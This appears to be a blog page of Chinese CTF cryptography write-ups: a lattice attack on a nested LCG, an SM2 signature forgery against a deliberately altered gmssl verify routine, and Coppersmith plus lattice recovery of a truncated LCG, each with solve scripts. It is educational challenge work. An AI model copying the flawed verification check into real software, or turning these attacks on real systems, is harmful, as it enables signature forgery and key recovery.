ddanggui's 博客

sekaictf趣题

2026-09-04T08:30:00.000Z

sekaictf趣题

碰到的最复杂的题，没有之一，但是研究下来还是蛮有意思的，对线性代数要求极高

题目

from Crypto.Util.number import getPrime, getRandomRange
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

FLAG = open('flag.txt','rb').read()

def lcg(a,b,p,x):
    while 1: yield (x := (a*x+next(b)) % p)

P, p = getPrime(256), getPrime(0x137)
X, A, B, a, b = [getRandomRange(0,m) for m in (P,P,p,p,p)]

# what's better than one lcg? TWO lcgs!
moons = lcg(a,iter([b]*14),p,B)
planets = lcg(A,moons,P,X)
orbit = [next(planets) for _ in range(14)]
star = AES.new(X.to_bytes(32),AES.MODE_ECB).encrypt(pad(FLAG,16)).hex()

print(f"{orbit = }")
print(f"{star = }")

'''
orbit = ......
star = ......
'''

分析

先放一张本次进攻总览：

先只看着外层差分 $\Delta$ 上的线性关系，用 LLL 抠出关系多项式 → 用 resultant 分离出内层模数 $p$ 、求根得 $a$ → 借助左核"钓"出内层差分 $dm$ → 再反哺外层差分，用同样的 gcd 手法抠出外层模数 $P$ 、回代得 $A$ → 最后用差分拼出 $m_1$ ，从而恢复 $X$ 。

题目的数学模型非常简单，就是一个双层lcg的问题

\begin{cases}m_{i+1} = (a \cdot m_i + b) \bmod p, & m_0 = B \quad \text{（内层，} p \text{ 为 311 bit 素数）} \\[4pt]o_{i+1} = (A \cdot o_i + m_{i+1}) \bmod P, & o_0 = X \quad \text{（外层，} P \text{ 为 256 bit 素数）}\end{cases}

我们已知：

$\text{orbit} = (o_1, \dots, o_{14})$ （从 $o_1$ 开始， $X = o_0$ 不可见）

$\text{star}$ （AES-ECB 密文，密钥 X.to_bytes(32)）

注意内层模数 $p$ （311 bit）> 外层 $P$ （256 bit），这是"差分能量化到整数零、从而能逐层剥开模数"的基础。不过靠的可不是"扰动小"—— $dm$ 本身约 $2^{311}$ ，比 $P$ 还大 55 个 bit——而是后面 LLL 给出的关系系数足够短（实测约 94~96 bit）：

|\sum_j r_j\,dm_{i+j}|\le 11\cdot 2^{96}\cdot p\approx 2^{404}

和式比 $pP$ 小，“同余"才有资本升级成"整数零”，外层差分里的内层信息就是这样被干净剥离出来的。

恢复a，p

从差分入手，从这大量的线性关系一点一点扣出a，p出来

我们计算两层lcg的差分：

\Delta_i = o_{i+1} - o_i \quad (i=1,\dots,13)

dm_i = m_{i+1} - m_i \quad (i=0,1,\dots,13)

（ $\Delta_0 = o_1 - o_0$ 要用到看不见的 $X$ ，扔掉不用。）

不难发现差分也是存在一层递推关系的（ $i \ge 1$ ）：

\Delta_{i+1} \equiv A \cdot \Delta_i + dm_{i+1} \mod P

dm_{i+1} \equiv a \cdot dm_i \pmod{p}

一个差一位的细节：orbit[0] = o_1（ $X = o_0$ 不可见），所以代码里 dy[k] = orbit[k+1] - orbit[k] = Δ_{k+1}——dy 和 Δ 整体错开一位。后文" $dx[i]$ 对应 $dm_{i+2}$ "的下标错位，根源都在这里。

把 13 个 $dy$ （也就是 $\Delta_1$ 到 $\Delta_{13}$ ）排成 3 个长度 11 的滑动窗口，堆成 $3 \times 11$ 整数矩阵：

Y = \begin{bmatrix} \Delta_1 & \Delta_2 & \cdots & \Delta_{11} \\ \Delta_2 & \Delta_3 & \cdots & \Delta_{12} \\ \Delta_3 & \Delta_4 & \cdots & \Delta_{13} \end{bmatrix}

维度账本：一个核向量 $r$ 就是一条对三个窗口同时精确成立的整系数关系 $\sum_j r_j \Delta_{i+j} = 0$ ；11 列减 3 行约束，右核维数 $= 11 - 3 = 8$ 。

我们对Y求右核同时LLL输出一个8行11列的基。为什么只留最短 6 条（代码里的 [:-2]）：实测（玩具参数、真值数据、多个随机种子）8 条里最短的 6 条全部满足 $R(a)\equiv 0 \pmod p$ ，而最长的 2 条不满足——好关系集中在 LLL 输出的短端，丢掉最长的 2 条是最便宜的容错。这 6 条基向量反映了 $\Delta_i$ 间的线性关系，下面就从线性关系里面分离出有用信息

由此我们来回代一下我们找出的关系系数：

0 = A \underbrace{\sum_j r_j \, \Delta_{i+j}}_{=\,(Y r)_i \,=\, 0} - \underbrace{\sum_j r_j \, \Delta_{i+1+j}}_{=\,(Y r)_{i+1} \,=\, 0} + \sum_j r_j \, dm_{i+1+j}

\sum_j r_j \, dm_{i+1+j} = 0

dm_{i+1+j} \equiv a^j \cdot dm_{i+1} \pmod{p}

代入前式，由 $dm_{i+1} \not\equiv 0 \pmod{p}$ （内层差分非零，可约去）：

\sum_j r_j \, a^j \equiv 0 \pmod{p}

所以我们构造多项式：

R(x) = r_0 + r_1 x + \dots + r_{10} x^{10}

(输出6组 $R_i(x)$ )

我们有

R_i(a) = 0

手握 ≥ 3 条好关系多项式 $R_0, R_1, R_2$ ，它们在模 $p$ 下有公共根 $a$

p \mid \gcd\Big( \operatorname{Res}(R_0, R_1),\ \operatorname{Res}(R_1, R_2) \Big)

p由此求出
再由多项式求根找出a
至此内层参数全部恢复

恢复dm

M = \begin{bmatrix} r^{(0)}_0 & \cdots & r^{(0)}_{10} & 0 \\ 0 & r^{(0)}_0 & \cdots & r^{(0)}_{10} \\ r^{(1)}_0 & \cdots & r^{(1)}_{10} & 0 \\ 0 & r^{(1)}_0 & \cdots & r^{(1)}_{10} \\ \vdots & & & \vdots \end{bmatrix} \quad \text{（6 条关系 } \times \text{ 2 个平移 = 12 行）}

$M$ 的维度账本： $12 \times 12$ 但不满秩——实测 $\operatorname{rank}(M) = 9$ ，右核维数 $= 12 - 9 = 3$ （rkm2 就是这 3 维解空间的 LLL 短基，所以是 $3\times 12$ ）。这个 3 维解空间就是下一步左核钓鱼的舞台。

配平系数

继续做一个求解右核,同时配平系数，将我们求解的结果放大为真实的dx

rkm2 = M.right_kernel_matrix().LLL()        # 3×12，解空间的短基
k = ZZ(rkm2.solve_left(dy[1:])[2])          # dy[1:] 在基下的第 3 个坐标
rkm2 *= k

求出 $dy[1{:}]$ 在这组基下的坐标 $(c_0, c_1, c_2)$ 。取 $c_2$ （记作 $k$ ）把整个基放大 $k$ 倍——效果是把基的尺度对齐到真实数据的量级。

这一步不是锦上添花，是生死线：后面恢复 $P$ 的时候要求 $dx = dm$ 严格成立。要是 $dx$ 差个 $c \neq 1$ 倍，就有 $t_i \equiv A\cdot dy_i + (1-c)\,dm_{i+2} \pmod P$ ，gcd 什么都抠不出来。

取第 3 个坐标是启发式选择：拿已知成员 $dy[1{:}]$ 的坐标去钉基底的绝对尺度。实测这么校准之后，钓出来的序列恰好就是真 $dm$ 本身（比值恒为 1），不多不少。

左核钓鱼

这里是我认为最有趣的部分

再堆一个矩阵：

N=\begin{bmatrix}\;\mathbf{B}_{2}\;\\[2pt]\;\mathbf{B}_{1}\;\\[2pt]\;\mathbf{B}_{0}\;\\[2pt]\;\boldsymbol{\alpha}\;\end{bmatrix}=\begin{bmatrix}b_{2,0} & b_{2,1} & b_{2,2} & \cdots & b_{2,11}\\[2pt]b_{1,0} & b_{1,1} & b_{1,2} & \cdots & b_{1,11}\\[2pt]b_{0,0} & b_{0,1} & b_{0,2} & \cdots & b_{0,11}\\[2pt]1 & a & a^{2} & \cdots & a^{11}\end{bmatrix}_{4\times 12}\quad\text{（模 }p\text{，即 }\mathrm{GF}(p)\text{ 上）}

其中前三行是解空间基 $\mathbf{B}=\mathrm{rkm}2$ 的倒序（对应 rkm2[::-1]），末行是等比向量 $\boldsymbol{\alpha}=(1,a,a^{2},\dots,a^{11})$

这个矩阵向量构成的空间里包含着所有满足那 6 条递推关系的序列。

dy[1:]（已知，即 $\Delta_2$ 到 $\Delta_{13}$ ）和 $dm_2,\dots,dm_{13}$ （我们想求的，注意起点是 $dm_2$ ，对应后文的 $dx[i] = dm_{i+2}$ ）都住在这个空间里。

我们求解左核

左核向量 $\ell = (\ell_0, \ell_1, \ell_2, \ell_3)$ 满足 $\ell \cdot N \equiv 0 \pmod p$ ，按行展开（注意 $N$ 的前三行是基的倒序）：

\ell_0 \cdot \mathrm{rkm2}[2] + \ell_1 \cdot \mathrm{rkm2}[1] + \ell_2 \cdot \mathrm{rkm2}[0] \equiv -\ell_3 \cdot \alpha \pmod{p}

我们观察这个式子：
左边是基的一个具体线性组合,右边是这个目标向量的方向特征

而我们的目标向量：dm 也恰好同时满足两个式子——它既在解空间里（满足全部递推），又与 α 平行（模 p 等比）

这个组合结果恰好就是我们要的 dm（差个常数倍）！

（代码里 M.left_kernel_matrix()[0, 2::-1] 只取了左核的第一个基向量——左核是高维的，但前面"既在解空间、又与 $\alpha$ 平行"这两个约束已把方向唯一确定，其余向量只是冗余。）

恢复A,P

恢复P

有了 $dx$ （= $dm$ 序列）后，由 (3)：

t_i = dy_{i+1} - dx_i \equiv A \cdot dy_i \pmod{P}

完全套用前面恢复 $p$ 的 gcd 手法（把 $dy$ 当作已知序列、 $t$ 当作它的"公比 $A$ 像"）：

P \mid \gcd\Big( dy_0 \cdot t_1 - dy_1 \cdot t_0, \;\; dy_1 \cdot t_2 - dy_2 \cdot t_1 \Big)

由此得出P

回代：A → m₁ → X

在模 $P$ 下进行（注意恢复 $dm$ 一节的下标错位： $dx[i] = dm_{i+2}$ ——就是前面说的 dy 与 Δ 错开一位的后果）：

\begin{aligned}A &\equiv \frac{dy_1 - dx_0}{dy_0} \pmod{P} \\dm_1 &\equiv \frac{dx_0}{a} \pmod{p} \\m_2 &\equiv o_2 - A \cdot o_1 \pmod{P} \\m_1 &\equiv m_2 - dm_1 \pmod{P} \\X &\equiv \frac{o_1 - m_1}{A} \pmod{P}\end{aligned}

还有一点：

$dx[0] \equiv a \cdot dm_1 \pmod{p}$ ，所以用模逆元计算：
$\mu \equiv dx[0] \cdot a^{-1} \pmod{p},\ 0 \le \mu < p$ 。
这个 $\mu$ 是 $dm_1$ 在模 $p$ 下的非负代表。
所以真实的 $dm_1$ 由两种情况： $\mu$ （非负）， $\mu-p$ （负数）

exp

贴之前补两个有意思的点：

一是整个攻击从头到尾都没恢复 $b$ 和 $B$ ——差分把 $b$ 消了， $X$ 又只依赖 $m_1$ ，七个秘密参数里这两个压根没出过场。

二是 exp 开头那行 exec(open('chall.py','r').read().split("'''")[1])，是直接把题目文件注释块里的 orbit/star exec 出来，省得手抄数据。

贴一下官方的exp吧，写不动了

from Crypto.Cipher import AES

exec(open('chall.py','r').read().split("'''")[1])

dy = vector(orbit[1:]) - vector(orbit[:-1])

Y = matrix(ZZ,3,11)
for i in range(3):
    Y[i] = vector(dy[i:i+11])

rkm = Y.right_kernel_matrix().LLL()[:-2]
R. = PolynomialRing(ZZ)

poly0 = sum([rkm[0,i]*x**i for i in range(11)])
poly1 = sum([rkm[1,i]*x**i for i in range(11)])
poly2 = sum([rkm[2,i]*x**i for i in range(11)])

res0 = poly0.resultant(poly1)
res1 = poly1.resultant(poly2)
p = gcd(res0,res1).factor()[-1][0]

poly0 = poly0.change_ring(GF(p))
poly1 = poly1.change_ring(GF(p))
a = gcd(poly0,poly1).roots()[0][0]

M = matrix(0,12)
for row in rkm:
    M = M.stack(matrix([0]+list(row)))
    M = M.stack(matrix(list(row)+[0]))

rkm2 = M.right_kernel_matrix().LLL()
k = ZZ(rkm2.solve_left(dy[1:])[2])
rkm2 *= k

M = rkm2[::-1].stack(vector(a**i for i in range(len(dy)-1)))
dx = vector(M.left_kernel_matrix()[0, 2::-1]).lift_centered()*rkm2

gcd_a = dy[0]*(dy[2]-dx[1])-dy[1]*(dy[1]-dx[0])
gcd_b = dy[1]*(dy[3]-dx[2])-dy[2]*(dy[2]-dx[1])
P = gcd(gcd_a,gcd_b).factor()[-1][0]

A = mod((dy[1]-dx[0])/dy[0],P)
X = orbit[0]-(dy[0]-mod(ZZ(mod(dx[0]/a,p))-p,P))/A
flag = AES.new(X.to_bytes(),AES.MODE_ECB).decrypt(bytes.fromhex(star))
if not flag.isascii():
    X = orbit[0]-(dy[0]-mod(mod(dx[0]/a,p),P))/A
    flag = AES.new(X.to_bytes(),AES.MODE_ECB).decrypt(bytes.fromhex(star))

print(flag.decode()) # SEKAI{orbital_strike_like_miku_miku_beam!!!}

熵密杯复现(一)

2026-09-01T08:31:00.000Z

据说是蛮好的比赛，争取下次去线下

前置：SM2 加密与签名

1. SM2 加密算法

本质：椭圆曲线版 ElGamal + KDF 密钥流异或 + SM3 完整性校验。

1.1 加密（持公钥 $P = dG$ ）

明文 $M$ 先转为字节串（长度 klen 字节）：

产生随机数 $k \in [1, n-1]$ ；
计算 $C_1 = kG$ —— 曲线上的点，相当于"临时公钥"；
计算共享点 $(x_2, y_2) = kP = kdG$ ；
KDF 派生密钥流（基于 SM3）： $t = \operatorname{KDF}(x_2 \,\|\, y_2,\ \text{klen})$

klen：明文长度

异或加密： $C_2 = M \oplus t$ ；
完整性校验值： $C_3 = \operatorname{SM3}(x_2 \,\|\, M \,\|\, y_2)$ ；
输出密文 $C = C_1 \,\|\, C_3 \,\|\, C_2$ 。

[!warning] 坑
标准密文顺序是 C1C3C2，但很多库（如 gmssl 老版本）默认 C1C2C3。对接/解题时先确认顺序，否则解密直接失败。

1.2 解密（持私钥 $d$ ）

从密文取出点 $C_1$ ，并验证 $C_1$ 是曲线上的合法点；
计算共享点： $dC_1 = d(kG) = k(dG) = kP = (x_2, y_2)$
同样派生 $t = \operatorname{KDF}(x_2 \,\|\, y_2,\ \text{klen})$ ；
异或还原： $M' = C_2 \oplus t$ ；
校验 $\operatorname{SM3}(x_2 \,\|\, M' \,\|\, y_2) \stackrel{?}{=} C_3$ ，相等才输出。

[!tip] 神奇之处
解密方不需要知道随机数 $k$ ——靠私钥 $d$ 就能把加密时的共享点 $(x_2, y_2)$ 还原出来。这就是椭圆曲线版 DH 密钥交换的思想。

1.3 一图流

加密（有公钥 P）                 解密（有私钥 d）
──────────────                  ──────────────
k ← 随机                         从密文取 C1 = kG
C1 = kG                          d·C1 = (x2, y2)   ← 私钥配平
kP = (x2, y2)                    t = KDF(x2‖y2)
t = KDF(x2‖y2)                   M = C2 ⊕ t
C2 = M ⊕ t                       校验 C3
C3 = SM3(x2‖M‖y2)
输出 C1‖C3‖C2

2. SM2 签名算法

2.1 签名（持私钥 $d_A$ ）

计算杂凑值（绑定了用户身份，这是与 ECDSA 的区别之一）： $e = H(Z_A \,\|\, M)$ 其中 $Z_A = \operatorname{SM3}(\text{ENTL} \,\|\, \text{IDA} \,\|\, a \,\|\, b \,\|\, x_G \,\|\, y_G \,\|\, x_A \,\|\, y_A)$ ；
随机选 $k \in [1, n-1]$ ，计算 $(x_1, y_1) = kG$ ；
计算 $r = (e + x_1) \bmod n$ ；若 $r = 0$ 或 $r + k = n$ ，重新选 $k$ ；
计算： $s = (1 + d_A)^{-1} \cdot (k - r\, d_A) \bmod n$

输出签名 $(r, s)$ 。

2.2 验签（持公钥 $P_A$ ）

重算 $e' = H(Z_A \,\|\, M')$ ；
计算 $t = (r' + s') \bmod n$ （ $t=0$ 则验签失败）；
计算点： $(x_1', y_1') = s'G + tP_A$
计算 $R = (e' + x_1') \bmod n$ ，检查 $R \stackrel{?}{=} r'$ 。

2.3 数学推导

展开第 3 步的点运算：

sG + tP_A = sG + (r+s)\,d_A G = \big(s + (r+s)d_A\big)\,G

由签名式 $s(1+d_A) = k - r\,d_A$ ，移项：

s + s\,d_A + r\,d_A = k \quad\Longrightarrow\quad s + (r+s)d_A = k

代回：

sG + tP_A = kG = (x_1, y_1)

所以 $x_1'$ 就是签名时的 $x_1$ ，于是 $R = (e + x_1) \bmod n = r$ 。✅

[!note]
$(1+d_A)^{-1}$ 的作用
这个看起来别扭的因子，目的就是让私钥 $d_A$ 在验签时恰好能被公钥 $P_A = d_A G$ “配平”，同时防止从 $s$ 直接线性解出 $d_A$ 。

3. 加密 vs 签名对比

维度	SM2 加密	SM2 签名
用途	保密传输消息	身份认证 + 完整性
私钥角色	解密方持有	签名方持有
随机数 $k$ 的作用	生成共享点 $kP$	生成 $x_1$ 混入 $r$
核心等式	$dC_1 = kP$	$sG + tP_A = kG$
校验手段	$C_3$ （SM3）	比较 $R = r$
$k$ 复用后果	泄露 $M \oplus M'$	私钥直接泄露 ❗

[!tip] 结构上的共同点
都有随机数 $k$ ，都算 $kG$ ；
安全性都靠"从 $kG$ 推不出 $k$ "；
核心技巧都是让对方用自己的秘密（私钥）配平出同一个点。

4. 攻击面

常见出题点：
$k$ 复用？（加密 & 签名都先查这个）
$k$ 是弱随机数 / 可预测？（LCG、时间种子、低位泄露 → HNP 上格）
私钥太小或部分泄露？（穷举 / 格攻击）
曲线参数被换成弱曲线？（阶 $n$ 有小因子 → Pohlig-Hellman 求 DLP）
密文格式 C1C3C2 vs C1C2C3？

谜题一

题目

题目要求
构造一组可以通过验签的摘要值以及对应的签名值，并提交答案。

import secrets

default_table = {
    'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
    'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
    'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7'
         'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
    'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
    'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
}

class Crypt():

    def __init__(self, private_key, public_key, mode=0):
        self.private_key = private_key
        if public_key.startswith("04"):
            self.public_key = public_key[2:]
        else:
            self.public_key = public_key
        self.para_len = len(default_table['n'])
        self.ecc_a3 = (
            int(default_table['a'], base=16) + 3) % int(default_table['p'], base=16)
        assert mode in (0, 1), 'mode must be one of (0, 1)'
        self.mode = mode

    def _kg(self, k, Point):  # kP运算
        if k == 0:
            return None#无穷远点
        Point = '%s%s' % (Point, '1')
        mask_str = '8'
        for i in range(self.para_len - 1):
            mask_str += '0'
        mask = int(mask_str, 16)
        Temp = Point
        flag = False
        for n in range(self.para_len * 4):
            if (flag):
                Temp = self._double_point(Temp)
            if (k & mask) != 0:
                if (flag):
                    Temp = self._add_point(Temp, Point)
                else:
                    flag = True
                    Temp = Point
            k = k << 1
        return self._convert_jacb_to_nor(Temp)

    def _double_point(self, Point):  # 倍点
        if Point is None:
            return None
        l = len(Point)
        len_2 = 2 * self.para_len
        if l < self.para_len * 2:
            return None
        else:
            x1 = int(Point[0:self.para_len], 16)
            y1 = int(Point[self.para_len:len_2], 16)
            if l == len_2:
                z1 = 1
            else:
                z1 = int(Point[len_2:], 16)

            T6 = (z1 * z1) % int(default_table['p'], base=16)
            T2 = (y1 * y1) % int(default_table['p'], base=16)
            T3 = (x1 + T6) % int(default_table['p'], base=16)
            T4 = (x1 - T6) % int(default_table['p'], base=16)
            T1 = (T3 * T4) % int(default_table['p'], base=16)
            T3 = (y1 * z1) % int(default_table['p'], base=16)
            T4 = (T2 * 8) % int(default_table['p'], base=16)
            T5 = (x1 * T4) % int(default_table['p'], base=16)
            T1 = (T1 * 3) % int(default_table['p'], base=16)
            T6 = (T6 * T6) % int(default_table['p'], base=16)
            T6 = (self.ecc_a3 * T6) % int(default_table['p'], base=16)
            T1 = (T1 + T6) % int(default_table['p'], base=16)
            z3 = (T3 + T3) % int(default_table['p'], base=16)
            T3 = (T1 * T1) % int(default_table['p'], base=16)
            T2 = (T2 * T4) % int(default_table['p'], base=16)
            x3 = (T3 - T5) % int(default_table['p'], base=16)

            if (T5 % 2) == 1:
                T4 = (T5 + ((T5 + int(default_table['p'], base=16)) >> 1) - T3) % int(
                    default_table['p'], base=16)
            else:
                T4 = (T5 + (T5 >> 1) - T3) % int(default_table['p'], base=16)

            T1 = (T1 * T4) % int(default_table['p'], base=16)
            y3 = (T1 - T2) % int(default_table['p'], base=16)

            form = '%%0%dx' % self.para_len
            form = form * 3
            return form % (x3, y3, z3)

    def _add_point(self, P1, P2):  # 点加函数，P2点为仿射坐标即z=1，P1为Jacobian加重射影坐标
        if P1 is None:
            return P2
        if P2 is None:
            return P1
        len_2 = 2 * self.para_len
        l1 = len(P1)
        l2 = len(P2)
        if (l1 < len_2) or (l2 < len_2):
            return None
        else:
            X1 = int(P1[0:self.para_len], 16)
            Y1 = int(P1[self.para_len:len_2], 16)
            if (l1 == len_2):
                Z1 = 1
            else:
                Z1 = int(P1[len_2:], 16)
            x2 = int(P2[0:self.para_len], 16)
            y2 = int(P2[self.para_len:len_2], 16)

            T1 = (Z1 * Z1) % int(default_table['p'], base=16)
            T2 = (y2 * Z1) % int(default_table['p'], base=16)
            T3 = (x2 * T1) % int(default_table['p'], base=16)
            T1 = (T1 * T2) % int(default_table['p'], base=16)
            T2 = (T3 - X1) % int(default_table['p'], base=16)
            T3 = (T3 + X1) % int(default_table['p'], base=16)
            T4 = (T2 * T2) % int(default_table['p'], base=16)
            T1 = (T1 - Y1) % int(default_table['p'], base=16)
            Z3 = (Z1 * T2) % int(default_table['p'], base=16)
            T2 = (T2 * T4) % int(default_table['p'], base=16)
            T3 = (T3 * T4) % int(default_table['p'], base=16)
            T5 = (T1 * T1) % int(default_table['p'], base=16)
            T4 = (X1 * T4) % int(default_table['p'], base=16)
            X3 = (T5 - T3) % int(default_table['p'], base=16)
            T2 = (Y1 * T2) % int(default_table['p'], base=16)
            T3 = (T4 - X3) % int(default_table['p'], base=16)
            T1 = (T1 * T3) % int(default_table['p'], base=16)
            Y3 = (T1 - T2) % int(default_table['p'], base=16)

            form = '%%0%dx' % self.para_len
            form = form * 3
            return form % (X3, Y3, Z3)

    def _convert_jacb_to_nor(self, Point):  # Jacobian加重射影坐标转换成仿射坐标
        if Point is None:
            return None
        len_2 = 2 * self.para_len
        x = int(Point[0:self.para_len], 16)
        y = int(Point[self.para_len:len_2], 16)
        z = int(Point[len_2:], 16)
        z_inv = pow(
            z, int(default_table['p'], base=16) - 2, int(default_table['p'], base=16))
        z_invSquar = (z_inv * z_inv) % int(default_table['p'], base=16)
        z_invQube = (z_invSquar * z_inv) % int(default_table['p'], base=16)
        x_new = (x * z_invSquar) % int(default_table['p'], base=16)
        y_new = (y * z_invQube) % int(default_table['p'], base=16)
        z_new = (z * z_inv) % int(default_table['p'], base=16)
        if z_new == 1:
            form = '%%0%dx' % self.para_len
            form = form * 2
            return form % (x_new, y_new)
        else:
            return None

    def verify(self, Sign, data):
        if Sign is None or Sign == '':
            return None
        r = int(Sign[0:self.para_len], 16)
        s = int(Sign[self.para_len:2*self.para_len], 16)
        e = int(data.hex(), 16)
        # 参数合法性
        if not (1 <= r < int(default_table['n'], base=16) and 1 <= s < int(default_table['n'], base=16)):
            return False
        t = r + s
        if t == 0:
            return False
        else:
            t = t % int(default_table['n'], base=16)

        if self.public_key is None or self.public_key == '':
            return None

        P1 = self._kg(s, default_table['g'])
        if P1 is None:
            return False
        P2 = self._kg(t, self.public_key)
        if P1 == P2:
            P1 = '%s%s' % (P1, 1)
            P1 = self._double_point(P1)
        else:
            P1 = '%s%s' % (P1, 1)
            P1 = self._add_point(P1, P2)
            P1 = self._convert_jacb_to_nor(P1)

        x = int(P1[0:self.para_len], 16)
        return r == ((e + x) % int(default_table['n'], base=16))

    def sign(self, data):
        k = secrets.randbelow(int(default_table['n'], 16) - 1) + 1
        if not (1 <= k <= int(default_table['n'], base=16)- 1):
            return None
        E = data.hex()
        e = int(E, 16)
        if self.private_key is None or self.private_key == '':
            return None

        d = int(self.private_key, 16)
        P1 = self._kg(k, default_table['g'])

        x = int(P1[0:self.para_len], 16)
        A = ((e + x) % int(default_table['n'], base=16))
        if A == 0 or A + k == int(default_table['n'], base=16):
            return None
        d_1 = pow(
            d+1, int(default_table['n'], base=16) - 2, int(default_table['n'], base=16))
        B = (d_1*(k + A) - A) % int(default_table['n'], base=16)
        if B == 0:
            return None
        else:
            return '%064x%064x' % (A, B)

if __name__ == '__main__':
    crypt = Crypt(
        # 公钥格式为64字节的16进制字符串
        public_key='',
        # 私钥格式为32字节的16进制字符串
        private_key=''
    )
    data = '919535c3ef53d3fa359196b5229c4bbb386ce209f5905d33fc7bcdff46ae27c2'
    sign = crypt.sign(bytes.fromhex(data))
    print(sign)
    verify = crypt.verify(sign,bytes.fromhex(data))
    print(verify)

分析

伪造签名的问题，方向要清晰：
我们构造自己的消息e，e算出的R要和原始r相同即可过签

666上来给我这么大段代码真的给我唬住了

不知道断不断网
不断网要人肉分析这个代码还是有点搞人的

由此想到有没有可能是某个权威库的改编
查了一下最权威的国密库应该是gmssl了，拉了一下原代码结果结果还真是是由这个库魔改的代码，这一下就好办了，我们对比分析代码差异就行了

标准实现：

本题实现：

这里就是解题关键：
本题将对t的取余放在了验零后面

由此我们完全可以构造出不安全的值： $t \equiv 0 \mod n)$

取一组特值试试： $t = n, s = 1, r = n-1$

(x',y') = sG' + tP_A

带入得

(x',y') = G

e是可控的，我们弄一个e = r - x’即可过签

谜题二

分析

这个简单，最终的流密钥复用的问题，目标密文使用的xor密钥和其他索引相邻的密文块是一样的，很经典的nonce错误使用的问题，可以见我的另一篇分组加密的文章，也可见moectf里面那个题，思路一致

谜题三

nepctf部分

2026-07-21T12:51:00.000Z

nepctf部分

题1

import random
from Crypto.Util.number import getPrime, bytes_to_long


def generate_challenge():
    bits = 1024
    p = getPrime(bits)
    q = getPrime(bits)
    N = p * q

    hidden_p_bits = 502
    p_high = p >> hidden_p_bits

    a = random.randint(2, p - 1)
    c = random.randint(2, p - 1)

    flag = flag.ljust(64, b'\x00')
    seed = bytes_to_long(flag)
    assert seed < p

    def lcg(state):
        return a * ( state - c) % p

    states = [seed]
    for _ in range(5):
        states.append(lcg(states[-1]))

    k = 256
    outputs = [s >> k for s in states]

    print("===== The Coppersmith & LLL Forge =====")
    print(f"N = {N}")
    print(f"p_high = {p_high}")
    print(f"a = {a}")
    print(f"c = {c}")
    print(f"outputs = {outputs}")


if __name__ == "__main__":
    generate_challenge()

"""
N = 
p_high = 
a = 
c = 
outputs = 
"""

分析

恢复p

首先已知n和p_high,是一个常规的coppersmith分解n还原p，q，这里比较值得注意的是epsilon的选值:

X < \tfrac12\, N^{\beta^2/d - \varepsilon}

进而：

\varepsilon \approx \frac{\beta^2}{d} - \frac{\log_2 X}{\log_2 N}\approx 0.25 - \frac{502}{2048} \approx 0.005

而epsilon默认为epsilon = beta / 8 = 0.625是出不来的

恢复flag

下一步题目用p作为模做了5次lcg，各项参数已知，但是输出被截断

解决思路大致于隐藏数问题相同，列方程造格打

一个数据我们拆成H+L，L就是我们目标短项量
我们把每一个L对应的方程表示：

H_2 + L_2 \equiv a(H_1 + L_1) + b \pmod{m}

\therefore L_2 \equiv aL_1 + \left(aH_1 + b - H_2\right) \pmod{m}

\text{记} \ A_1 = a,\ B_1 \equiv \left(aH_1 + b - H_2\right) \pmod{m}

\because H_3 + L_3 \equiv a(H_2 + L_2) + b \pmod{m}

\therefore L_3 \equiv a^2L_1 + a(aH_1 + b - H_2) + aH_2 + b - H_3 \pmod{m}

\text{记} \ A_2 = a^2,\ B_2 \equiv \left(aB_1 + aH_2 + b - H_3\right) \pmod{m}

\text{到这里我们就可以发现系数规律：}

L_{i+1} = A_i L_1 + B_i \pmod{m}

A_i = a^i \pmod{m}

\ B_i = \left(aB_{i-1} + aH_2 + b - H_{i+1}\right) \pmod{m}

对应exp：

A = [1]
B = [0]

for i in range(1, len(h)-1):
A.append(a*A[i-1] % m)
B.append((a*B[i-1]+a*h[i]+b-h[i+1]) % m)

A = A[1:]
B = B[1:]

造格:

\begin{pmatrix}k_1 & k_2 & \dots & k_n & L_1 & 1\end{pmatrix}\begin{pmatrix}m & 0 & \dots & 0 & 0 & 0 \\0 & m & \dots & 0 & 0 & 0 \\\vdots & \vdots & \ddots & \vdots & \vdots & \vdots \\0 & 0 & \dots & m & 0 & 0 \\A_1 & A_2 & \dots & A_n & 1 & 0 \\B_1 & B_2 & \dots & B_n & 0 & K\end{pmatrix}=\begin{pmatrix}L_2 & L_3 & \dots & L_{n+1} & L_1 & K\end{pmatrix}

即可还原 $L_i$
由此恢复完整的lcg输出，变成常规lcg题目

完整exp

from Crypto.Util.number import long_to_bytes

N = ...; p_high = ...; a = ...; c = ...; outputs = [...]

# Step 1: Coppersmith recover p
hidden = 502
PR. = PolynomialRing(Zmod(N))
f = ((Integer(p_high) << hidden) + x).monic()
p = Integer((p_high << hidden) + ZZ(f.small_roots(X=2^hidden, beta=0.5, epsilon=0.008)[0]))

# Step 2: Truncated LCG -> lattice
a = Integer(a) % p
c = Integer(c) % p
b = (-a * c) % p
k = 256
Y = 2^k
H = [Integer(o) << k for o in outputs]
n = len(outputs)

A = [Integer(1)]
B = [Integer(0)]
for i in range(n - 1):
    A.append(a * A[-1] % p)
    B.append((a * B[-1] + a * H[i] + b - H[i+1]) % p)

t = n - 1
M = matrix(ZZ, t + 2, t + 2)
for i in range(t):
    M[i, i] = p
    M[t, i] = A[i+1]
    M[t+1, i] = B[i+1]
M[t, t] = 1
M[t+1, t+1] = Y

res = M.LLL()
for row in res:
    y0 = abs(Integer(row[t]))
    if y0 < Y:
        seed = H[0] + y0
        s = seed
        for i in range(1, n):
            s = a * (s - c) % p
        if (s >> k) == outputs[-1]:
            print(long_to_bytes(int(seed)).rstrip(b"\x00"))
            break

tutctf wp

2026-06-01T05:35:24.000Z

动手能力太差了，难绷

RSA

题目

from Crypto.Util.number import getPrime, bytes_to_long
import math

FLAG = 'TUTCTF{???}'
victory_key = "TUTCTF"

def victory_encrypt(plaintext, key):
    key = key.upper()
    key_length = len(key)
    plaintext = plaintext.upper()
    ciphertext = ''

    for i, char in enumerate(plaintext):
        if char.isalpha():
            shift = ord(key[i % key_length]) - ord('A')
